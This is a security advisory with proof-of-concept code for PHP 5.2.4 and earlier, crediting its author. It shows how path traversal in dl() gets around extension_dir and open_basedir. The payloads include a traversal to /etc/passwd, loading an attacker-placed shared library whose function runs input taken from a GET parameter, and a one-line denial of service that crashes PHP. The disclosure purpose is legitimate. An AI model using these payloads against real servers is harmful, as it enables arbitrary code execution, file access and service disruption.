Advisory Text :  

Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix & windows /* replace .so --> dll . */
Bug: extension_dir bypass & code exec & denial of
service/*some people call this as a buffer overflow , but it's a
denial of service.*/
special condition: default php-memory-limit
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP is a widely-used general-purpose scripting language
that
is especially suited for Web development and can be embedded into
HTML."

======
2) Bug
======

extension_dir bypass & code exec & denial of service
http://ca.php.net/manual/fr/function.dl.php
=====
3)Proof of concept
=====
/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
*/

Proof of concept example :
/*enable by default in php.ini for php 5.2.x */

<?php
dl("../../../../../../../../../../../../../../etc/passwd&quo
t;)
output --->
Warning: dl() [function.dl]: Unable to load dynamic library
'./../../../../../../../../../etc/passwd' -
./../../../../../../../../../etc/passwd: invalid ELF header in
/usr/local/apache2/htdocs/3.php on line 2

ya right ... /etc/passwd dont have any ELF header .
but we agree that it's not checked in anyway by open_basedir.
fine then bypassed .
then :
<?php
dl("./../../../../../../../../../../../home/myuser/www//my_p
owning_lib/p
wned.so");
$a = powningfunction($_GET['lets_exec_for_fun']);
print_r($a);
?>

denial of service :
debian:/home/mwoa# php
-r'dl(str_repeat("0",27999991));'
Erreur de segmentation
debian:/home/lorenzo#

========
4)Greets
========
Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet:
#futurezone & #nibbles

=====
5)Credits
=====

laurent gaffié
laurent.gaffié@gmail.com
secorizon coming soon !